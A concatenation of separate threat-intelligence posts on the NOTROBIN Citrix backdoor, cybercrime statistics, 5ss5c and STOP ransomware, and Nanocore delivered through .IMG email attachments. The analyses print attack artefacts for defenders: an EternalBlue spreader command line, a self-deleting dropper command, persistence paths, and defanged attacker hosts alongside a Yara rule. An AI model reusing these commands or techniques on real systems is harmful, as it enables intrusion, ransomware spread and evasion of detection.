It has been estimated that 80,000 companies in 158 countries are potentially at risk, most of them in the U.S. (38%), followed by the UK, Germany, the Netherlands, and Australia.
The CVE-2019-19781 vulnerability was discovered by Mikhail Klyuchnikov from Positive Technologies.
The NOTROBIN backdoor was designed to prevent subsequent exploitation of the flaw on Citrix servers and also to establish backdoor access, a circumstance that suggests that attackers are preparing future attacks.
Experts pointed out that the threat actor exploits CVE-2019-19781 to execute shell commands, attackers send the malicious payload to the vulnerable newbm.pl CGI script through an HTTP POST request from a Tor exit node.
Below a web server access log entry reporting the exploitation attemp:
The experts have yet to recover the POST body contents and analyze them.
Then attackers execute one-line bash script to remove crypto-miners, create a hidden staging folder (/tmp/.init) and download NOTROBIN to it, and install /var/nstmp/.nscache/httpd for persistence via the cron daemon.
NOTROBIN is written in Go, it scans every second for specific files and delete them. If the filename or file content includes a hardcoded key, the files are not deleted.
“The mitigation works by deleting staged exploit code found within NetScaler templates before it can be invoked. However, when the actor provides the hardcoded key during subsequent exploitation, NOTROBIN does not remove the payload. This lets the actor regain access to the vulnerable device at a later time,” continues the analysis.
The experts from FireEye noticed threat actors deploying NOTROBIN with unique keys, they observed nearly 100 keys from different binaries.
The keys look like MD5 hashes, the use of unique keys makes it difficult for third parties, including competing attackers, to scan for NetScaler devices already infected with NOTROBIN.
“FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators that check into their devices after reading Citrix security bulletin CTX267027.” concludes FireEye.”NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a backdoor for an actor with a secret key. While we haven’t seen the actor return, we’re skeptical that they will remain a Robin Hood character protecting the internet from the shadows.”
Further technical details are reported in the analysis published by FireEye, including Indicators of Compromise (IoCs).
I’m preparing the slides for my next speech and I decided to create this post while searching for interesting cybercrime statistics in 2020
Cybercrime will cost as much as $6 trillion annually by 2021.
The global expense for organizations to protect their systems from cybercrime attacks will continue to grow. According to the Cybersecurity Ventures’ cybercrime statistics 2017 cybercrime damages will amount to a staggering $6 trillion annually starting in 2021. Experts fear that the cost of cybercrime should exceed annual costs for natural disasters by 2021. These figures suggest that cybercrime is becoming more profitable than other criminal activities, such as the illegal drug trade.
Financial losses reached $2.7 billion in 2018.
According to the IC3 Annual Report released in April 2019 financial losses reached $2.7 billion in 2018. Most financially devastating threats involved investment scams, business email compromises (BEC), and romance fraud.
The total cost of cybercrime for each company in 2019 reached US$13M.
The total cost of cybercrime for each company increased from US$11.7 million in 2017 to a new high of US$13.0 million—a rise of 12 percent, states the “NINTH ANNUAL COST OF CYBERCRIME STUDY” published by Accenture.
The total annual cost of all types of cyberattacks is increasing.
According to Accenture, malware and Web-based attacks continue to cause higher financial losses to organizations worldwide. The cost of ransomware attacks accounts for 21 percent of the overall expenses, while the cost of malicious insider accounts for 15 percent. The cost of malware attacks is now an average of US$2.6 million annually for organizations.
Source Accenture
Which countries have the worst (and best) cybersecurity?
According to a the report published by Comparitech that used the Global Cybersecurity Index (GCI) scores, Bangladesh saw the highest number of malware infections approximately 35.91% of the country’s mobile users have fallen victim to malware infections. The same report states that Japan is the most equipped country at preventing cybersecurity threats, with the smallest number of mobile malware infections, with only 1.34% of its mobile users affected by the attacks. Other top-performing countries included France, Canada, Denmark, and the United States.
Algeria is the least cyber-secure country, followed by Indonesia and Vietnam.
Which is the impact of cybercrime on small business?
According to the 2019 Data Breach Investigations Report, 43% of all nefarious online activities impacted small businesses. Giving a look at suffered by organizations, 69% of the attacks were perpetrated by outsiders, 34% involved Internal actors, 5% of them featured multiple parties, 2% involved partners.
According to the annual study conducted by IBM examining the financial impact of data breaches on organizations, the cost of a data breach has risen 12% over the past 5 years and now costs $3.92 million on average. These rising expenses are representative of the multiyear financial impact of breaches, increased regulation and the complex process of resolving criminal attacks. Small businesses with fewer than 500 employees lose an average of $2.5 million due to security incidents.
What about data breaches?
The majority of security breaches werefinancially motivated, 71%, while 25% of breaches were motivated by the gain of strategic advantage (espionage).
29% of breaches involved use of stolen credentials, 32% of them were the result of phishing attacks. 25% of breaches were motivated by the gain of strategic advantage (espionage)
Bots and worms continue to account for the vast majority of Internet of Things (IoT) attacks, in 2018 Symantec reported a significant increase of targeted attack actors against smart objects confirming the high interest in IoT as an infection vector.
Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Jan 10 and Jan 17. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.
As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.
TRU01172020 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.
As noted in Rough
Patch: I Promise It'll Be 200 OK, our FireEye Mandiant
Incident Response team has been hard at work responding to intrusions
stemming from the exploitation of CVE-2019-19781. After analyzing
dozens of successful exploitation attempts against Citrix ADCs that
did not have the Citrix
mitigation steps implemented, we’ve recognized multiple groups
of post-exploitation activity. Within these, something caught our eye:
one particular threat actor that’s been deploying a previously-unseen
payload for which we’ve created the code family NOTROBIN.
Upon gaining access to a vulnerable NetScaler device, this actor
cleans up known malware and deploys NOTROBIN to block subsequent
exploitation attempts! But all is not as it seems, as NOTROBIN
maintains backdoor access for those who know a secret passphrase.
FireEye believes that this actor may be quietly collecting access to
NetScaler devices for a subsequent campaign.
Initial Compromise
This actor exploits NetScaler devices using CVE-2019-19781 to
execute shell commands on the compromised device. They issue an HTTP
POST request from a Tor exit node to transmit the payload to the
vulnerable newbm.pl CGI script. For example,
Figure 1 shows a web server access log entry recording exploitation:
Unlike other actors, this actor appears to exploit devices using a
single HTTP POST request that results in an HTTP 304 response—there is
no observed HTTP GET to invoke staged commands. Unfortunately, we
haven’t recovered the POST body contents to see how it works. In any
case, exploitation causes the Bash one liner shown in Figure 2 to run
on the compromised system:
Kill and delete all running instances of netscalerd—a common process name used for
cryptocurrency mining utilities deployed to NetScaler devices.
Creates a hidden staging directory /tmp/.init, download NOTROBIN to it, and enable
the execute permission.
Install /var/nstmp/.nscache/httpd for persistence via
the cron daemon. This is the path to which
NOTROBIN will copy itself.
Manually execute NOTROBIN.
There’s a lot to unpack here. Of note, the actor removes malware
known to target NetScaler devices via the CVE-2019-19781
vulnerability. Cryptocurrency miners are generally easy to
identify—just look for the process utilizing nearly 100% of the CPU.
By uninstalling these unwanted utilities, the actor may hope that
administrators overlook an obvious compromise of their NetScaler devices.
The actor uses curl to fetch NOTROBIN from
the hosting server with IP address 95.179.163[.]186 that appears to be an abandoned
WordPress site. FireEye has identified many payloads hosted on this
server, each named after their embedded authentication key.
Interestingly, we haven’t seen reuse of the same payload across
multiple clients. Compartmenting payloads indicates the actor is
exercising operational security.
FireEye has recovered cron syslog entries,
such as those shown in Figure 3, that confirm the persistent
installation of NOTROBIN. Note that these entries appear just after
the initial compromise. This is a robust indicator of compromise to
triage NetScaler devices.
Jan 12 21:57:00 <cron.info>
foo.netscaler /usr/sbin/cron[73531]: (nobody) CMD
(/var/nstmp/.nscache/httpd)
Now, let’s turn our attention to what NOTROBIN does.
Analysis of NOTROBIN
NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit
ELF binary for BSD systems. It periodically scans for and deletes
files matching filename patterns and content characteristics. The
purpose seems to be to block exploitation attempts against the
CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN
provides backdoor access to the compromised system.
When executed, NOTROBIN ensures that it is running from the path
/var/nstmp/.nscache/httpd. If not, the
utility copies itself to this path, spawns the new copy, and then
exits itself. This provides detection cover by migrating the process
from /tmp/, a suspicious place for
long-running processes to execute, to an apparently NetScaler-related,
hidden directory.
Now the fun begins: it spawns two routines that periodically check
for and delete exploits.
Every second, NOTROBIN searches the directory /netscaler/portal/scripts/ for entries created
within the last 14 days and deletes them, unless the filename or file
content contains a hardcoded key (example: 64d4c2d3ee56af4f4ca8171556d50faa). Open source
reporting indicates that some actors write scripts into this directory
after exploiting CVE-2019-19781. Therefore, we believe that this
routine cleans the system of publicly known payloads, such as PersonalBookmark.pl.
Eight times per second, NOTROBIN searches for files with an .xml extension in the directory /netscaler/portal/templates/. This is the
directory into which exploits for CVE-2019-19781 write templates
containing attacker commands. NOTROBIN deletes files that contain
either of the strings block or BLOCK, which likely match potential exploit code,
such as that found in the ProjectZeroIndia
exploit; however, the utility does not delete files with a
filename containing the secret key.
FireEye believes that actors deploy NOTROBIN to block exploitation
of the CVE-2019-19781 vulnerability while maintaining backdoor access
to compromised NetScaler devices. The mitigation works by deleting
staged exploit code found within NetScaler templates before it can be
invoked. However, when the actor provides the hardcoded key during
subsequent exploitation, NOTROBIN does not remove the payload.
This lets the actor regain access to the vulnerable device at a later time.
Across multiple investigations, FireEye observed actors deploying
NOTROBIN with unique keys. For example, we’ve recovered nearly 100
keys from different binaries. These look like MD5 hashes, though
FireEye has been unsuccessful in recovering any plaintext. Using
complex, unique keys makes it difficult for third parties, such as
competing attackers or FireEye, to easily scan for NetScaler devices
“protected” by NOTROBIN. This actor follows a strong password policy!
Based on strings found within NOTROBIN, the actor appears to inject
the key into the Go project using source code files named after the
key. Figure 4 and Figure 5 show examples of these filenames.
Figure 5: Source filename recovered from
NOTROBIN sample
We wonder if “tmpl_ci” refers to a Continuous Integration setup that
applies source code templating to inject keys and build NOTROBIN
variants. We also hope the actor didn’t have to revert to backups
after losing the original source!
Outstanding Questions
NOTROBIN spawns a background routine that listens on UDP port 18634
and receives data; however, it drops the data without inspecting it.
You can see this logic in Figure 6. FireEye has not uncovered a
purpose for this behavior, though DCSO makes
a strong case for this being used as a mutex, as only a single
listener can be active on this port.
Figure 6: NOTROBIN logic that drops UDP traffic
There is also an empty function main.install_cron whose implementation has been
removed, so alternatively, perhaps these are vestiges of an early
version of NOTROBIN. In any case, a NetScaler device listening on UDP
port 18634 is a reliable indicator of compromise. Figure 7 shows an
example of listing the open file handles on a compromised NetScaler
device, including a port listening on UDP 18634.
Figure 7: File handling listing of
compromised NetScaler device
NOTROBIN Efficacy
During one engagement, FireEye reviewed forensic evidence of
NetScaler exploitation attempts against a single device, both before
and after NOTROBIN was deployed by an actor. Prior to January 12,
before NOTROBIN was installed, we identified successful attacks from
multiple actors. But, across the following three days, more than a
dozen exploitation attempts were thwarted by NOTROBIN. In other words,
NOTROBIN inoculated the vulnerable device from further compromise. For
example, Figure 8 shows a log message that records a failed
exploitation attempt.
Figure 8: Web log entry showing a failed
exploitation attempt
Note that the application server responded with HTTP 404 (“Not
Found”) as this actor attempts to invoke their payload staged in the
template wTyaINaDVPaw8rmh.xml. NOTROBIN
deleted the malicious template shortly after it was created – and
before it could be used by the other actor.
FireEye has not yet identified if the actor has returned to NOTROBIN backdoors.
Conclusion
FireEye believes that the actor behind NOTROBIN has been
opportunistically compromising NetScaler devices, possibly to prepare
for an upcoming campaign. They remove other known malware, potentially
to avoid detection by administrators that check into their devices
after reading Citrix security bulletin CTX267027.
NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a
backdoor for an actor with a secret key. While we haven’t seen the
actor return, we’re skeptical that they will remain a Robin Hood
character protecting the internet from the shadows.
Indicators of Compromise and Discovery
Table 1 lists indicators that match NOTROBIN variants that FireEye
has identified. The domain vilarunners[.]cat
is the WordPress site that hosted NOTROBIN payloads. The domain
resolved to 95.179.163[.]186 during the time
of observed activity. As of January 15, the vilarunners[.]cat domain currently resolves to a
new IP address of 80.240.31[.]218.
You can use the following VTI queries to identify NOTROBIN variants
on VirusTotal:
vhash:"73cee1e8e1c3265c8f836516c53ae042"
vhash:"e57a7713cdf89a2f72c6526549d22987"
Note, the vHash implementation is private, so we’re not able to
confirm why this technique works. In practice, the vHashes cover the
same variants identified by the Yara rule listed in Figure 9.
rule NOTROBIN
{
meta:
author =
"william.ballenthin@fireeye.com"
date_created =
"2020-01-15"
strings:
$func_name_1 =
"main.remove_bds"
$func_name_2 =
"main.xrun"
condition:
all of them
}
Figure 9: Yara rule that matches on NOTROBIN variants
Recovered Authentication Keys
FireEye has identified nearly 100 hardcoded keys from NOTROBIN
variants that the actor could use to re-enter compromised
environments. We expect that these strings may be found within
subsequent exploitation attempts, either as filenames or payload
content. Although we won’t publish them here out of concern for our
customers, please reach out if you’re looking for NOTROBIN within your
environment and we can provide a list.
Acknowledgements
Thank you to analysts across FireEye that are currently responding
to this activity, including Brandan Schondorfer for
collecting and interpreting artifacts, Steven Miller for
coordinating analysis, Evan
Reese for pivoting across intel leads, Chris Glyer for reviewing
technical aspects, Moritz
Raabe for reverse engineering NOTROBIN samples, and Ashley Frazer for
refining the presentation and conclusions.
Support for Windows 7 has ended, leaving Marcy wondering how they can protect themselves
I do a lot of work on a Windows 7 desktop PC that is about five years old. I’m a widow and can’t afford to run out and get a new PC at this time, or pay for Windows 10. If I do stay with Windows 7, what should I worry about, and how can I protect myself? I have been running Kaspersky Total Security for several years, which has worked well so far. Marcy
Microsoft Windows 7 – launched in 2009 – came to the end of its supported life on Tuesday. Despite Microsoft’s repeated warnings to Windows 7 users, there may still be a couple of hundred million users, many of them in businesses. What should people do next?
The cybercrime group behind Satan ransomware and other malware seems to be involved in the development of a new threat named 5ss5c.
The threat actors behind the Satan, DBGer and Lucky ransomware and likely Iron ransomware, is back with a new piece of malware named ‘5ss5c’.
The Bart Blaze believes that the threat actors have been working on the 5ss5c ransomware since at least November 2019, and likely the malicious code is still under development. Experts, in fact, discovered a second spreader module, packed with Enigma VirtualBox, within the code, that is named poc.exe.
“There’s quite some curiosities that indicate 5ss5c is still in active development and stems from Satan ransomware.” reads the analysis published by Blaze.
“This suggest they may be experimenting (poc often is an acronym for proof of concept).”
The expert discovered several artifacts that suggest 5ss5c stems from Satan ransomware, he also pointed out that updates for Satan stopped in August while 5ss5c appeared in the threat landscape in November.
Like Satan, 5ss5c launches process via a downloader, leverages the EternalBlue exploit for spreading. Blaze added that several Satan artefacts, and tactics, techniques and procedures (TTPs) have similarities with both Satan and DBGer, and partially with Iron.
The file poc.exe is dropped to C:\ProgramData\poc.exe, and runs the command:
cd /D C:\ProgramData&star.exe –OutConfig a –TargetPort 445 –Protocol SMB –Architecture x64 –Function RunDLL –DllPayload C:\ProgramData\down64.dll –TargetIp
that is similar to the command executed by the Satan ransomware:
Both Satan and 5ss5c have an exclusion list of files that are not encrypted by the malicious codes, the list of the new ransomware include additional files like the one associated with Qih00 360 security solutions (i.e. 360download and 360safe files).
The 5ss5c ransomware drops a ransom note in Chinese that demands the a ransom of 1 bitcoin for decryption.
The ransom demand will double after 48 hours. The ransom note doesn’t include attackers’email to contact for the payment or a Bitcoin address, instead the ransomware prepends the email address (5ss5c(at)mail[.]ru) to the file name of each encrypted file, for example test.txt becomes [5ss5c@mail.ru]test.txt.Y54GUHKIG1T2ZLN76II9F3BBQV7MK4UOGSQUND7U.5ss5c.
“Whoever’s behind the development of Satan, DBGer, Lucky and likely Iron ransomware, is back in business with the 5ss5c ransomware, and it appears to be in active development – and is trying to increase (or perhaps focus?) its targeting and spread of the ransomware.” concludes the expert.
The analysis published by Blaze includes the indicators of compromise (IOCs).
The vast majority of nationally sponsored cybersecurity incidents take the form of espionage through data exfiltration, with frequent employment of remote access tool Plug-X, according to the annual threat report by eSentire. Emotet is the leader The report found that Emotet accounted for almost 20% of confirmed malware incidents, reinforcing its role in the black market as the preferred delivery tool. Emotet was the most observed threat both on networks and on endpoints, achieving this … More →
Cisco’s Computer Security Incident Response Team (CSIRT) detected a large and ongoing malspam campaign leveraging the .IMG file extension to bypass automated malware analysis tools and infect machines with a variety of Remote Access Trojans. During our investigation, we observed multiple tactics, techniques, and procedures (TTPs) that defenders can monitor for in their environments. Our incident response and security monitoring team’s analysis on a suspicious phishing attack uncovered some helpful improvements in our detection capabilities and timing.
In this case, none of our intelligence sources had identified this particular campaign yet. Instead, we detected this attack with one of our more exploratory plays looking for evidence of persistence in the Windows Autoruns data. This play was successful in detecting an attack against a handful of endpoints using email as the initial access vector and was able to evade our defenses at the time. Less than a week after the incident, we received alerts from our retrospective plays for this same campaign once our integrated threat intelligence sources delivered the indicators of compromise (IOC). This blog is a high level write-up of how we adapted to a potentially successful attack campaign and our tactical analysis to help prevent and detect future campaigns.
(This blog was co-authored by Jeff Bollinger & William Sheldon)
Incident Response Techniques and Strategy
The Cisco Computer Security and Incident Response Team (CSIRT) monitors Cisco for threats and attacks against our systems, networks, and data. The team provides around the globe threat detection, incident response, and security investigations. Staying relevant as an IR team means continuously developing and adapting the best ways to defend the network, data, and infrastructure. We’re constantly experimenting with how to improve the efficiency of our data-centric playbook approach in the hope it will free up more time for threat hunting and more in-depth analysis and investigations. Part of our approach has been that as we discover new methods for detecting risky activity, we try to codify those methods and techniques into our incident response monitoring playbook to keep an eye on any potential future attacks.
Although some malware campaigns can slip past the defenses with updated techniques, we preventatively block the well-known, or historical indicators and leverage broad, exploratory analysis playbooks that spotlight more on how attackers operate and infiltrate. In other words, there is value in monitoring for the basic atomic indicators of compromised like IP addresses, domain names, file hashes, etc. but to go further you really have to look broadly at more generic attack techniques. These playbooks, or plays, help us find out about new attack campaigns that are possibly targeted and potentially more serious. While some might label this activity “threat hunting”, this data exploration process allows us to discover, track, and potentially share new indicators that get exposed during a deeper analysis.
Defense in depth demands that we utilize additional data sources in case attackers successfully evade one or more of our defenses, or if they were able to obscure their malicious activities enough to avoid detection. Recently we discovered a malicious spam campaign that almost succeeded due to a missed early detection. In one of our exploratory plays, we use daily diffs for all the Microsoft Windows registry autorun key changes since the last boot. Known as “Autoruns“, this data source ultimately helped us discover an ongoing attack that was attempting to deliver a remote access trojan (RAT). Along with the more mundane Windows event logs, we pieced together the attack from the moment it arrived and made some interesting discoveries on the way — most notably how the malware seemingly slipped past our front line filters. Not only did we uncover many technical details about the campaign, but we also used it as an opportunity to refine our incident response detection techniques and some of our monitoring processes.
IMG File Format Analysis
.IMG files are traditionally used by disk image files to store raw dumps of either a magnetic disk or of an optical disc. Other disk image file formats include ISO and BIN. Previously, mounting disk image file files on Windows required the user to install third-party software. However Windows 8 and later automatically mount IMG files on open. Upon mounting, Windows File Explorer displays the data inside the .IMG file to the end user. Although disk image files are traditionally utilized for storing raw binary data, or bit-by-bit copies of a disk, any data could be stored inside them. Because of the newly added functionality to the Windows core operating system, attackers are abusing disk image formats to “smuggle” data past antivirus engines, network perimeter defenses, and other auto mitigation security tooling. Attackers have also used the capability to obscure malicious second stage files hidden within a filesystem by using ISO and DMG (to a lesser extent). Perhaps the IMG extension also fools victims into considering the attachment as an image instead of a binary pandora’s box.
Know Where You’re Coming From
As phishing as an attack vector continues to grow in popularity, we have recently focused on several of our email incident response plays around detecting malicious attachments, business email compromise techniques like header tampering or DNS typosquatting, and preventative controls with inline malware prevention and malicious URL rewriting.
Any security tool that has even temporarily outdated definitions of threats or IOCs will be unable to detect a very recent event or an event with a recent, and therefore unknown, indicator. To ensure that these missed detections are not overlooked, we take a retrospective look back to see if any newly observed indicators are present in any previously delivered email. So when a malicious attachment is delivered to a mailbox, if the email scanners and sandboxes do not catch it the first time, our retrospective plays look back to see if the updated indicators are triggered. Over time sandboxes update their detection abilities and previously “clean” files could change status. The goal is to detect this changing status and if we have any exposure, then we reach out and remediate the host.
This process flow shows our method for detecting and responding to updated verdicts from sandbox scanners. During this process we collect logs throughout to ensure we can match against hashes or any other indicator or metadata we collect:
Figure 1: Flow chart for Retrospective alerting
This process in combination with several other threat hunting style plays helped lead us to this particular campaign. The IMG file isn’t unique by any means but was rare and stood out to our analysts immediately when combined with the file name as a fake delivery invoice – one of the more tantalizing and effective types of phishing lures.
Incident Response and Analysis
We needed to pull apart as much of the malicious components as possible to understand how this campaign worked and how it might have slipped our defenses temporarily. The process tree below shows how the executable file dropped from the original IMG file attachment after mounting led to a Nanocore installation:
Figure 2: Visualization of the malicious process tree.
Autoruns
As part of our daily incident response playbook operations, we recently detected a suspicious Autoruns event on an endpoint. This log (Figure 2) indicated that an unsigned binary with multiple detections on the malware analysis site, VirusTotal, had established persistence using the ‘Run’ registry key. Anytime the user logged in, the binary referenced in the “run key” would automatically execute – in this case the binary called itself “filename.exe” and dropped in the typical Windows “%SYSTEMROOT%\%USERNAME%\AppData\Roaming” directory:
Figure 3: Snippet of the event showing an unknown file attempting to persist on the victim host
Many of the anti-virus engines on VirusTotal detected the binary as the NanoCore Remote Access Trojan (RAT), a well known malware kit sold on underground markets which enables complete control of the infected computer: recording keystrokes, enabling the webcam, stealing files, and much more. Since this malware poses a huge risk and the fact that it was able to achieve persistence without getting blocked by our endpoint security, we prioritized investigating this alert further and initiated an incident.
Once we identified this infected host using one of our exploratory Autoruns plays, the immediate concern was containing the threat to mitigate as much potential loss as possible. We download a copy of the dropper malware from the infected host and performed additional analysis. Initially we wanted to confirm if other online sandbox services agreed with the findings on VirusTotal. Other services including app.any.run also detected Nanocore based on a file called run.dat being written to the %APPDATA%\Roaming\{GUID} folder as shown in Figure 3:
The sandbox report also alerted us to an unusual outbound network connection from RegAsm.exe to 185.101.94.172 over port 8166.
Now that we were confident this was not a false positive, we needed to find the root cause of this infection, to determine if any other users are at risk of being victims of this campaign. To begin answering this question, we pulled the Windows Security Event Logs from the host using our asset management tool to gain a better understanding of what occurred on the host at the time of the incident. Immediately, a suspicious event that was occurring every second jumped out due to the unusual and unexpected activity of a file named “DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe” spawning the Windows Assembly Registration tool RegAsm.exe.
Process Information: New Process ID: 0x4128 New Process Name: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe Token Elevation Type: %%1938 Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x2ba0 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe Process Command Line: "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
MITRE tracks this common technique as T1121 indicating, “Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration”
The event was occurring every second, indicating some sort of command and control or heartbeat activity.
Mount Up and Drop Out
At this point in the investigation, we have now uncovered a previously unseen suspicious file: “DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe”, which is strangely located in the \Device\CdRom0\ directory, and the original “filename.exe” used to establish persistence.
The first event in this process chain shows explorer.exe spawning the malware from the D: drive.
Process Information: New Process ID: 0x2ba0 New Process Name: \Device\CdRom0\DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe Token Elevation Type: %%1938 Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x28e8 Creator Process Name: C:\Windows\explorer.exe Process Command Line: "D:\DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe"
Figure 6: Additional processes spawned by the fake PDF
The following event is the same one that originally caught our attention, which shows the malware spawning RegAsm.exe (eventually revealed to be Nanocore) to establish communication with the command and control server:
Process Information: New Process ID: 0x4128 New Process Name: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe Token Elevation Type: %%1938 Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x2ba0 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe Process Command Line: "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
Figure 7: RegAsm reaching out to command and control servers
Process Information: New Process ID: 0x2900 New Process Name: C:\Windows\SysWOW64\cmd.exe Token Elevation Type: %%1938 Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x2ba0 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe Process Command Line: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "D:\DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe"
Figure 8: Evidence of deleting the original dropper.
At this point in the investigation of the original dropper and the subsequent suspicious files, we still could not answer how the malware ended up on this user’s computer in the first place. However with the filename of the original dropper to pivot with, a quick web search for the filename turned up a thread on Symantec.com from a user asking for assistance with the file in question. In this post, they write that they recognize the filename from a malspam email they received. Based on the Symantec thread and other clues, such as the use of the shipping service DHL in the filename, we now know the delivery method is likely via email.
Delivery Method Techniques
We used the following Splunk query to search our Email Security Appliance logs for the beginning of the filename we found executing RegAsm.exe in the Windows Event Logs.
Figure 9: Splunk query looking for original DHL files.
As expected, the emails all came from the spoofed sender address noreply@dhl.com with some variation of the subject “Re: DHL Notification / DHL_AWB_0011179303/ ETD”. In total, CSIRT identified a total of 459 emails from this campaign sent to our users. Of those 459 emails, 396 were successfully delivered and contained 18 different Nanocore samples.
396 malicious emails making it past our well-tuned and automated email mitigation tools is no easy feat. While the lure the attacker used to social engineer their victims was common and unsophisticated, the technique they employed to evade defenses was successful – for a time.
Detecting the Techniques
During the lessons learned phase after this campaign, CSIRT developed numerous incident response detection rules to alert on newly observed techniques discovered while analyzing this incident. The first and most obvious being, detecting malicious disk image files successfully delivered to a user’s inbox. The false-positive rate for this specific type of attack is low in our environment, with a few exceptions here and there – easily tuned out based on the sender. This play could be tuned to look only for disk image files with a small file size if they are more prevalent in your environment.
Another valuable detection rule we developed after this incident is monitoring for suspicious usage (network connections) of the registry assembly executable on our endpoints, which is ultimately the process Nanocore injected itself into and was using to facilitate C2 communication. Also, it is pretty unlikely to ever see legitimate use of the choice command to create a self-destructing binary of sorts, so monitoring for execution of choice with the command-line arguments we saw in the Windows Event above should be a high fidelity alert.
Some additional, universal takeaways from this incident:
Auto-mitigation tools should not be treated as a silver bullet – Effective security monitoring, rapid incident response, and defense in depth/layers is more important.
Obvious solutions such as blocking extensions at email gateway are not always realistic in large, multifunction enterprises – .IMG files were legitimately being used by support engineers and could not be blocked.
Malware campaigns can slip right past defenders on occasion, so a wide playbook that focuses on how attackers operate and infiltrate (TTPs) is key for finding new and unknown malware campaigns in large enterprises (as opposed to relying exclusively on indicators of compromise.)
With almost 200 extensions, STOP (djvu) ransomware can be said to be 2019’s most active and widespread ransomware. Although this ransomware was active a year before, it started its campaign aggressively in early 2019. To evade detection, it has been continuously changing its extensions and payloads. For earlier infections, data recovery was easier if the key was not online CnC generated. Once payload was received, decryption was easier as it used non-symmetric encryption algorithms and for offline systems, it used the same set of keys. There has been a change in its encryption strategy from mid-2019, which made the decryption of infected files difficult. By observing continuous improvement in infection vectors and payloads, one can consider STOP actors to be one of the most active malware authors of 2019.
Here, we will discuss in detail about its behavior and updated file encryption technique. We will also go through its parallel activities of downloading other malware and their behavior. The statistics would elaborate its prominence in the last few months.
Infection Vectors:
According to our telemetry, this ransomware is seen spreading through cracked applications, keygens, activators, fake application setup and fake windows updates. While taking a look at the infection vectors and the ransom demanded, we can say that these actors believed in quantity instead of quality like Ryuk did. According to our observations, cracked files or fake activators for different software like Tally, Autocad, Adobe Photoshop, Internet Download Manager, Microsoft Office, Opera browser, VMware Workstation, Quick Heal Total Security, etc. were seen spreading this ransomware.
Payload Behaviour:
Fig. 1: ProcessMap
The main payload of STOP (djvu) has lots of anti-emulation and anti-debugging techniques implemented by its common wrapper, which is believed to be used for most of the payloads. Few of the ransomware are seen avoiding encryption for a particular set of countries, depending on the region of their origin and strength of victims to pay the ransom. For that, we have observed the use of keyboard layouts to identify the country of the victim system. Here, STOP authors did not rely on legacy techniques as there might be a chance of error. The payload checks for the location of the system by visiting “https[:]//api.2ip.ua/geo.json” where in response we get information about the location and timezone of the system.
In response to this request, details of location including longitude, latitude, timezone along with country and city are received.
Fig. 2: IP Response
The retrieved country code is compared with a few other country codes. If it matches with any of the listed country codes, the payload does not execute further. The image below shows the country code comparison before encryption.
Fig. 3: Country Code Comparison
Once it confirms that the victim is not from one of the enlisted countries, it creates a folder with UUID or GUID used as its name at directory “%AppData%\Local\”. After that, payload creates self-copy at this location and access controls of this file are changed using ‘icals’ by the following command:
Further, it terminates the parent process. Parameters confirm that the process is neither initiated by autostart programs nor it is a scheduled task and is running as admin. This newly executed process creates a task scheduler entry using TaskSchedulerCOM at:
C:\Windows\System32\Tasks\Time Trigger Task
Fig. 4: Time Trigger Task
Then it retrieves the MAC address of the system using GetAdaptersInfo(). An MD5 hash of this MAC address is then calculated using Windows Crypto APIs and is then used to uniquely identify the system. A request is sent to malicious CnC using this MD5 hash, which gets RSA-2048 public key and system encryption identifier i.e. personal ID as a response.
This response is stored in %AppData%\Local\bowsakkdestx.txt. This key is further used in file encryption, which we will discuss later. Also, the ID received along with the public key is stored in C:\SystemID\PersonalID.txt for future reference.
While receiving personal ID and public key, the ransomware payload also downloads a couple of other malware from the CnC server. It consists of infamous info-stealer i.e. Vidar and a trojan payload which is similar to previously seen Vilsel.
Fig. 5: File Download Requests
In Fig.5, ‘5.exe’ was downloaded and it is one of the Vidar payloads, while ‘updatewin1.exe’ was Vilsel. The lateral activity of these components will be discussed later.
For persistence, along with time trigger task, it also creates one RUN registry entry:
It drops ransom note to the directories it has enumerated. Before start of encryption process, a mutex {1D6FC66E – D1F3 – 422C – 8A53 – C0BBCF3D900D} is created. This mutex is common throughout STOP-Djvu campaign.
It particularly checks for the presence of file I:\5d2860c89d774.jpgandif present, it encrypts this file.
File Encryption:
File encryption involves 2 types:
Encryption with Online Key
Encryption with Offline Key
